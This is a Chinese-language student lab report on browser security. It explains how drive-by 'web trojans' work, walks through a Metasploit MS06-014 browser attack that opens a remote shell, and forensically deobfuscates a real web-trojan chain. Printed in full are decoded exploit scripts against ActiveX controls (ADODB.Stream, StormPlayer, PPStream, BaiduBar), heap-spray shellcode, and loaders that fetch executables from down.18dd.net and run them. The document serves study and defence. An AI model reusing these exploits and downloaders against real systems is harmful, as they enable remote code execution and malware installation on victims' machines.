第十一次 浏览器安全攻防实践

1 实践内容

1.1 Web浏览器的安全威胁

1.1.1 现代Web浏览器的基本结构与机理

现代Web浏览器指的是符合"现代标准",并被互联网用户所接受使用的Web浏览器软件,目前的现代Web浏览器要求能够理解并支持HTMLXHTMLCSSECMAScriptW3C DOM等一系列标准,其基本结构与各种功能特性的复杂性也已经大大增加。需要支持各种应用层协议的Stream流接收与解析,并维护DOM对象模型结构,通过支持EMCAScript标准构建JavaScriptFlash ActionScript等客户端脚本语言的执行环境,以及支持CSS标准控制页面布局,最终在浏览器终端中将服务器端的各种流媒体对象、应用程序、客户端脚本执行效果进行渲染,展现给终端用户。

现代Web浏览器软件除了在内核引擎中实现符合各种标准的基本功能和特性之外,普遍地采用各种扩展机制允许第三方开发一些插件,以提升浏览器软件功能的丰富性。下表显示了目前全球五个最主要的现代Web浏览器软件所采用的内核引繁与可扩展性机制情况,微软IE浏览器基于 Trident内核引擎(也被称为 MSHTML),在第一次浏览器战争过程中的1996年即采用了 Activex技术来支持第三方开发扩展插件,并沿用至今。Mozilla Firefox的内核引繁为 Gecko,通过XUL平台支持扩展插件开发。 Google Chrome和苹果的Safari都基于开源的 Webkit内核引擎, Opera基于的内核引擎为 Presto,这三款浏览器软件均于2010年才开始支持第三方扩展插件,Google Chrome可通过XmlhttprequestJSON机制来实现第三方扩展, Safari Opera则采用了标准化的 HTML5CSS3 Javascript支持第三方实现扩展插件。

除了扩展插件机制之外,现代Web浏览器还通过各种客户端脚本执行环境、独立沙箱运行环境和虚拟机,来支持构造具有桌面应用程序特性的富 Internet应用(RIA: Rich Internet Application),目前Adobe Flash/FlexJava和微软Sliverlight是三种最普遍的RIA平台环境技术,帮助Web应用程序提供更友好的用户交互、客户端执行与展现效果。

1.1.2 Web浏览的安全问题与威胁

Web浏览器软件的安全困境三要素:复杂性、可扩展性、连通性。

Web浏览安全威胁位置:

  • 针对传输网络的网络协议安全威胁:网络是连接Web应用服务端与客户端浏览环境的媒介,因此对于Web浏览端而言,Web服务器端同样面临着网络传输协议安全攻击与威胁。
  • 针对Web浏览端系统平台的安全威胁:互联网用户在浏览网页过程中所使用的浏览器软件、插件及相关应用程序都运行在桌面操作系统之上,桌面操作系统所存在的安全漏洞使得Web浏览环境存在着被攻击的风险。
  • 针对Web浏览器软件及插件程序的滲透攻击威胁:随着防火墙、网络入侵防御系统等安全设备在网络边界上的部署,传统的针对服务器端的渗透攻击变得愈加困难,在这背景下,针对Web浏览器软件及插件程序的客户端渗透攻击在近几年来逐渐变得流行。
  • 针对互联网用户的社会工程学攻击威胁:恶意攻击会利用进行Web浏览的互联网用户本身所存在的人性、心理等方面的弱点,实施社会工程学攻击。

1.2 Web浏览端的渗透攻击威胁---网页木马

网页木马是从恶意网页脚本所孕育和发展出来的。网页木马发展与流行的驱动力是黑客地下经济链。网页木马存在的技术基础是Web浏览端安全漏洞。

网页木马的定义特性:通过对网页木马起源背景和存在技术基础的分析,我们可以认知到网页木马从本质特性上是利用了现代Web浏览器软件中所支持的客户端脚本执行能力,针对Web浏览端软件安全漏洞实施客户端渗透攻击,从而取得在客户端主机的远程代码执行权限来植入恶意程序。因此从根本上分析,网页木马是针对Web浏览端软件实施的客户端滲透攻击代码,是对在针对服务器端软件的传统滲透攻击代码基础上的一种演进,针对服务器端软件的滲透攻击形式从网络攻击出现以来一直是主流。

基于上述分析,我们定义网页木马是对Web浏览端软件进行客户端渗透攻击的一类恶意移动代码,通常以网页脚本如JavaScriptVBScript实现,或以FlashPDF等恶意构造的Web文件形式存在,通过利用Web浏览端软件中存在的安全漏洞,获得客户端计算机的控制权限以植入恶意程序。

对网页木马机理的全方位分析与理解:由于网页木马采用的是客户端渗透攻击的形式,就不可避免地需要Web浏览端软某访问构造的恶意Web页面内容,才可能触发滲透攻击过程。因此,与传统服务器端滲透攻击可以主动地进行网络扫描与攻击不同,网页木马的攻击是被动式的,需要通过一些技术方法来诱使互联网用户来访问网页木马页面此外在网页木马通过渗透攻击获得客户端计算机的远程代码执行权限之后,为了进行进一步的主机控制和敏感信息窃取,一般需要植入一些盗号木马等类型的恶意程序。因此实施网页木马攻击不像传统服务器端滲透攻击那么简单,往往涉及较为复杂的多步骤攻击场景,并需要多种类型的恶意代码及网络资源。

网页木马的特点:

  • 多样化的客户端渗透攻击位置和技术类型
  • 分布式、复杂的微观链接结构
  • 灵活多变的混淆与对抗分析能力

网页挂马机制:

  • 内嵌HTML标签:第一类策略使用内嵌HTML标签,如iframeframe等,将网页木马链接嵌入到网站首页或其他页面中;
  • 恶意Script脚本:利用script脚本标签通过外部引用脚本的方式来包含网页木马;
  • 内嵌对象链接:第三类网页挂马策略利用图片、Flash等内嵌对象中的特定方法来完成指定页面的加载,这种挂马技术能够产生出一些包含网页木马链接的图片或Flash文件,通过向一些允许用户上传图片和Flash文件的网站进行上传,从而造成这些网站特定页面被挂马危害的后果。
  • ARP欺骗挂马:arp漆面挂马不需要真正地攻陷目标网站,在同一以太网网段内,攻击者通过ARP欺骗方法就可以进行中间人攻击,劫持所有目标网站出入的网络流量,并可在目标网站的HTML反馈包中注入任意的恶意脚本,从而使其成为将网络访问流量链接至网页木马的挂马站点。

混淆机制:

  • 将代码重新排版,去除缩进、空行、换行、注释等;
  • 通过大小写变换、十六进制编码、escape编码、unicode编码等方法对网页木马进行编码混淆;
  • 通过通用或定制的加密工具对网页木马进行加密得到密文,然后使用脚本语言中包含的解密函数进行解密,再使用document.Write()eval()进行动态输出或执行;
  • 利用字符串运算、数学运算或特殊函数混淆代码;
  • 修改网页木马文件掩码欺骗反病毒软件,或对网页木马文件结构进行混淆,来伪装正常文件。

网页木马的检测与分析技术:

  • 基于特征码匹配的传统检测方法
  • 基于统计与机器学习的静态分析方法
  • 基于动态行为结果判定的检测分析方法
  • 基于模拟浏览器环境的动态分析检测方法
  • 网页木马检测分析技术综合对比

网页木马防范措施:应对网页木马最根本的防范措施与应对传统渗透攻击一样,就是提升操作系统与浏览端平台软件的安全性,可以采用操作系统本身提供的在线更新以及第三方软件所提供的常用应用软件更新机制,来确保所使用的计算机始终处于一种相对安全的状态:另外安装与实时更新一款优秀的反病毒软件也是应对网页木马威胁必不可少的环节,同时养成安全上网浏览的良好习惯,并借助于 Google安全浏览、 Site Advisor等站点安全评估工具的帮助避免访问那些可能遭遇挂马或者安全性不高的网站,可以有效地降低被网页木马滲透攻击的概率:最后,在目前网页木马威胁主要危害 Windows平台和IE浏览器用户的情况下,或许安装 Mac OS/ Linux操作系统,并使用 Chrome Safari Opera等冷门浏览器进行上网,做互联网网民中特立独行的少数派,可以有效地避免网页木马的侵扰。

2 实践过程

2.1 web浏览器渗透攻击

任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。

实验步骤:

1)选择使用Metasploit中的MS06-014渗透攻击模块

2)选择PAYLOAD为任意远程Shell连接

3)设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本

4)在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL

5)攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令

启动攻击机kali,输入指令"msfconsole",打开Metasploit工具。输入指令"search MS06-014",搜索MS06-014渗透攻击模块。

可以发现只有一个可用的攻击模块。输入指令"use exploit/windows/browser/ie_createobject"使用该模块。

依次输入以下指令进行设置:

"set LHOST 192.168.200.4"设置攻击机地址;

"set SRVPORT 80";

"set URIPATH /";

"set payload windows/shell/bind_tcp"设置payload

然后输入指令"run"开始攻击。

可以看到有木马的网址为"http://192.168.200.4:80/"。在靶机中访问该地址。

攻击机中会显示建立会话成功。

输入指令"sessions"查看连接,并验证会话是否有效。输入指令"sessions -i 1"打开会话1。发现攻击机可以对靶机进行操作。

输入指令"ifconfig",成功,攻击完成。

2.2 取证分析实践—网页木马攻击场景分析

①首先你应该访问start.html,在这个文件中给出了new09.htm的地址,

②在进入 htm 后,每解密出一个文件地址,请对其作 32 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。

③如果解密出的地址给出的是网页或脚本文件,请继续解密。

④如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。

⑤重复以上过程直到这些文件被全部分析完成。

首先用文本编辑器打开"start.htm"文件。对其中的程序代码进行分析。可以发现,在该网页嵌入了一个内联框架,指向了一个网页new09.htm,且该内联框架高度宽度为0,使其不容易被发现。

可以看到"new09.htm"使用了相对路径。这说明他们在同一路径。

继续用文本编辑器打开"new09.htm"文件。可以看到其中有两个指向的路径:"http://aa.18dd.net/aa/kl.htm"和"http://js.users.51.la/1299644.js"。

对这两个路径名计算MD5值。

"http://aa.18dd.net/aa/kl.htm"的MD5值为:7f60672dcd6b5e90b6772545ee219bd3

"http://js.users.51.la/1299644.js"的MD5值为23180a42a2ff1192150231b44ffdf3d3

找到这两MD5值所对应的文件。分别用文本编辑器打开。其中23180a42a2ff1192150231b44ffdf3d3中没有有效信息。

在文件7f60672dcd6b5e90b6772545ee219bd3中,使用了XXTEA+Base64 加密方法。

该文件中的"xxtea_decrypt 函数"的第二个参数是"\x73\x63\x72\x69\x70\x74",这是密钥。使用了16进制表示,我们将其转化为ASCII码为"script"。

访问"https://cycy.sourceforge.io/xxtea/"网站。输入密钥为"script",密文为文件7f60672dcd6b5e90b6772545ee219bd3中的所有内容。

点击"解密"按钮,会输出解密后的明文。

该明文是使用16进制表示的。

<script>

eval("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x69\x6e\x69\x74\x28\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x29\x3b\x7d\x0d\x0a\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x6c\x6f\x61\x64\x20\x3d\x20\x69\x6e\x69\x74\x3b\x0d\x0a\x69\x66\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x27\x4f\x4b\x27\x29\x3d\x3d\x2d\x31\x29\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x65\x3b\x0d\x0a\x76\x61\x72\x20\x61\x64\x6f\x3d\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x22\x6f\x62\x6a\x65\x63\x74\x22\x29\x29\x3b\x0d\x0a\x61\x64\x6f\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\x22\x63\x6c\x61\x73\x73\x69\x64\x22\x2c\x22\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36\x22\x29\x3b\x0d\x0a\x76\x61\x72\x20\x61\x73\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d\x22\x2c\x22\x22\x29\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x0d\x0a\x76\x61\x72\x20\x65\x78\x70\x69\x72\x65\x73\x3d\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x3b\x0d\x0a\x65\x78\x70\x69\x72\x65\x73\x2e\x73\x65\x74\x54\x69\x6d\x65\x28\x65\x78\x70\x69\x72\x65\x73\x2e\x67\x65\x74\x54\x69\x6d\x65\x28\x29\x2b\x32\x34\x2a\x36\x30\x2a\x36\x30\x2a\x31\x30\x30\x30\x29\x3b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x3d\x27\x63\x65\x3d\x77\x69\x6e\x64\x6f\x77\x73\x78\x70\x3b\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d\x27\x2b\x65\x78\x70\x69\x72\x65\x73\x2e\x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x0d\x0a\x69\x66\x28\x65\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x31\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x0d\x0a\x65\x6c\x73\x65\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x66\x3b\x76\x61\x72\x20\x73\x74\x6f\x72\x6d\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x50\x53\x2e\x53\x74\x6f\x72\x6d\x50\x6c\x61\x79\x65\x72\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x66\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x66\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x62\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x67\x3b\x76\x61\x72\x20\x70\x70\x73\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x50\x4f\x57\x45\x52\x50\x4c\x41\x59\x45\x52\x2e\x50\x6f\x77\x65\x72\x50\x6c\x61\x79\x65\x72\x43\x74\x72\x6c\x2e\x31\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x67\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x67\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x70\x70\x73\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x68\x3b\x76\x61\x72\x20\x6f\x62\x6a\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x42\x61\x69\x64\x75\x42\x61\x72\x2e\x54\x6f\x6f\x6c\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x68\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x68\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x6f\x62\x6a\x2e\x44\x6c\x6f\x61\x64\x44\x53\x28\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x62\x64\x2e\x63\x61\x62\x22\x2c\x20\x22\x62\x64\x2e\x65\x78\x65\x22\x2c\x20\x30\x29\x7d\x7d\x0d\x0a\x7d\x7d\x7d")

</script>

将这些16进制转化为ASCII码。

他们对应的文本是:

function init(){document.write();}

window.onload = init;

if(document.cookie.indexOf('OK')==-1){

try{var e;

var ado=(document.createElement("object"));

ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");

var as=ado.createobject("Adodb.Stream","")}

catch(e){};

finally{

var expires=new Date();

expires.setTime(expires.getTime()+24*60*60*1000);

document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();

if(e!="[object Error]"){

document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}

else{

try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}

catch(f){};

finally{if(f!="[object Error]"){

document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}

try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}

catch(g){};

finally{if(g!="[object Error]"){

document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}

try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}

catch(h){};

finally{if(h!="[object Error]"){

obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}

}}}

通过最这段程序代码的分析,可以知道有大量的应用程序漏洞:

Adodb.Stream——微软数据库访问对象漏洞;

MPS.StormPlayer——暴风影音漏洞;

POWERPLAYER.PowerPlayerCtrl.1——PPStream漏洞;

BaiduBar.Tool——百度搜霸漏洞。

还可以看出,他指向了三个js文件和一个压缩包。分别计算这些文件路径的MD5值。

"http://aa.18dd.net/aa/1.js"的MD5值为5d7e9058a857aa2abee820d5473c5fa4

"http://aa.18dd.net/aa/b.js"的MD5值为3870c28cc279d457746b3796a262f166

"http://aa.18dd.net/aa/pps.js"的MD5值为5f0b8bf0385314dbe0e5ec95e6abedc2

"http://down.18dd.net/bb/bd.cab"的MD5值为1c1d7b3539a617517c49eee4120783b2

对于文件"1.js",打开对应的5d7e9058a857aa2abee820d5473c5fa4文件。

可以看到编码格式为16进制,将这些16进制转化为ASCII码。

对应的文本为:

var url="http://down.18dd.net/bb/014.exe";try{var xml=ado.CreateObject("Microsoft.XMLHTTP","");xml.Open

 

("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close

 

();var shell=ado.createobject("Shell.Application","");shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}catch(e){}

可以看出,下载了一个"http://down.18dd.net/bb/014.exe"的可执行文件,并对ADODB漏洞进行了利用。

对于文件"b.js",打开对应3870c28cc279d457746b3796a262f166文件。

该文件使用了packed加密方法。打开"http://matthewfl.com/unPacker.html"网页,可以解密。

解密结果为:

var bigblock=unescape("%u9090%u9090");

var headersize=20;

var shellcode=unescape("%uf3e9%u0000"+"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c"+"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378"+"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b"+"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef"+"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1"+"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103"+"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904"+"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b"+"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e"+"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d"+"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320"+"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344"+"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc"+"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0"+"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab"+"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f"+"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574"+"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e"+"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00"+"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c"+"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54"+"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");

var slackspace=headersize+shellcode.length;

while(bigblock.length<slackspace)bigblock+=bigblock;

fillblock=bigblock.substring(0,slackspace);

block=bigblock.substring(0,bigblock.length-slackspace);

while(block.length+slackspace<0x40000)block=block+block+fillblock;

memory=new Array();

for(x=0;

x<300;

x++)memory[x]=block+shellcode;

var buffer='';

while(buffer.length<4068)buffer+="\x0a\x0a\x0a\x0a";

storm.rawParse(buffer)

通过分析观察,可以看出文件中出现"shellcode"。 shellcode是一个下载器。它在此下载了该路径"http://down.18dd.net/bb/bf.exe"的一个可执行文件。

对于"pps.js",打开对应的5f0b8bf0385314dbe0e5ec95e6abedc2文件。该文件使用了八进制编码方式。

对其进行解码得到:

/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +

"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +

"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +

"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +

"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +

"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +

"%u206a%uff53%uec57%u*/

pps=(document.createElement("object"));

pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")

var shellcode = unescape("%uf3e9%u0000"+

"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +

"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +

"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +

"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +

"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +

"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +

"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +

"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +

"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +

"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +

"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +

"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +

"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +

"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +

"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +

"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +

"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +

"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +

"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +

"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +

"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +

"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u62

2f%u2f62%u7070%u2e73%u7865%u0065");

var bigblock = unescape("%u9090%u9090");

var headersize = 20;

var slackspace = headersize+shellcode.length;

while (bigblock.length<slackspace) bigblock+=bigblock;

fillblock = bigblock.substring(0, slackspace);

block = bigblock.substring(0, bigblock.length-slackspace);

while(block.length+slackspace<0x40000) block = block+block+fillblock;

memory = new Array();

for (x=0; x<400; x++) memory[x] = block + shellcode;

var buffer = '';

while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";

pps.Logo = buffer

可以看出再次使用了shellcode,下载了"http://down.18dd.net/bb/pps.exe"路径的可执行文件。

对于压缩包"bd.cab",其对应的文件是1c1d7b3539a617517c49eee4120783b2。且解压后可以得到可执行文件"bd.exe"。

先计算之前分析得出的路径的MD5值。

"http://down.18dd.net/bb/014.exe"的MD5值为ca4e4a1730b0f69a9b94393d9443b979

"http://down.18dd.net/bb/bf.exe"对应的MD5268cbd59fbed235f6cf6b41b92b03f8e

"http://down.18dd.net/bb/pps.exe"对应的MD5值为ff59b3b8961f502289c1b4df8c37e2a4

通过初步观察,发现这四个文件大小相同。

对这4个文件进行MD5计算,输入指令"md5sum 文件路径"。

发现MD5值相同,均为1290ecd734d68d52318ea9016dc6fe63。因此这四个文件内容相同,我们只需要看其中一个即可。

使用超级巡警工具,查看"bd.exe"的加壳情况。可以看到使用了Delphi

使用W32Dasm软件,对"db.exe"进行反汇编。然后查看"串式参考内容清单"选项。

发现有"goto try"":try""Alletdel.bat""cmd /c date ""cmd /c date 1981-01-12""del ""del %0"等语句。推测"db.exe"会生成一个名为"Alletdel.bat"的批处理文件,该文件中有一个标签叫"try"。而批处理文件会不断的执行这个标签下一行的命令,命令内容可能是判断文件存在性,更改系统日期,删除某些文件。

 

发现有":\AutoRun.inf""[AutoRun] open=""AutoRun.inf""shell\Auto\command="等语句。推测"db.exe"可能在磁盘根目录下生成自动运行的文件。

发现"db.exe"要对IE、注册表、服务和系统文件进行修改。

发现有"瑞星卡卡上网安全助手 - IE 防漏墙" "允许""允许执行"等字符串。"db.exe"有一定的反杀毒软件的能力。

发现有20"http://down.18dd.net/kl/**.exe","db.exe"会自动下载很多木马程序。

2.3 攻防对抗实践—web浏览器渗透攻击攻防

攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。

防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

攻击方使用MS06-014漏洞生成一个URL:"http://192.168.13.8:80/",具体步骤与2.1中相同。通过电子邮件将该URL发送给防守方。

防守方接收到该邮件后点击这个连接。

跳转到了攻击者构造的攻击网页。查看这个网页的源代码。发现其中有大量的留白。通过这种手段,防止被杀毒软件发现。

将网页的源代码压缩。得到真实有意义的代码。

压缩后的代码如下:

<html><head><title></title><script language="javascript">function NOGLS(o,n){var r=null;try{eval("r=o.CreateObject(n)")}catch(e){}if(!r){try{eval("r=o.CreateObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.CreateObject(n,'','')")}catch(e){}}if(!r){try{eval("r=o.GetObject('',n)")}catch(e){}}if(!r){try{eval("r=o.GetObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.GetObject(n)")}catch(e){}}return(r)}function rYSrumAkdvQbSi(a){var s=NOGLS(a,"WScript.Shell");var o=NOGLS(a,"ADODB.Stream");var e=s.Environment("Process");var url=document.location+'/payload';var xml=null;var bin=e.Item("TEMP")+"\\AAIhimo.exe";var dat;try{xml=new XMLHttpRequest()}catch(e){try{xml=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){xml=new ActiveXObject("MSXML2.ServerXMLHTTP")}}if(!xml){return(0)}xml.open("GET",url,false);xml.send(null);dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0)}function iZsI(){var i=0;var t=new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}','{BD96C556-65A3-11D0-983A-00C04FC29E30}','{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}','{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}','{6414512B-B978-451D-A0D8-FCFDF33E833C}','{06723E09-F4C2-43c8-8358-09FCD1DB0766}','{639F725F-1B2D-4831-A9FD-874847682010}','{BA018599-1DB3-44f9-83B4-461454C84BF8}','{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}','{E8CCCDDF-CA28-496b-B050-6C07C962476B}','{AB9BCEDD-EC7E-47E1-9322-D4A210617116}','{0006F033-0000-0000-C000-000000000046}','{0006F03A-0000-0000-C000-000000000046}',null);while(t[i]){var a=null;if(t[i].substring(0,1)=='{'){a=document.createElement("object");a.setAttribute("classid","clsid:"+t[i].substring(1,t[i].length-1))}else{try{a=new ActiveXObject(t[i])}catch(e){}}if(a){try{var b=NOGLS(a,"WScript.Shell");if(b){rYSrumAkdvQbSi(a);return(0)}}catch(e){}}i++}}</script></head><body onload='iZsI()'>HHAqswVAatNQjPthzHdKfAPkXLhORu</body></html>

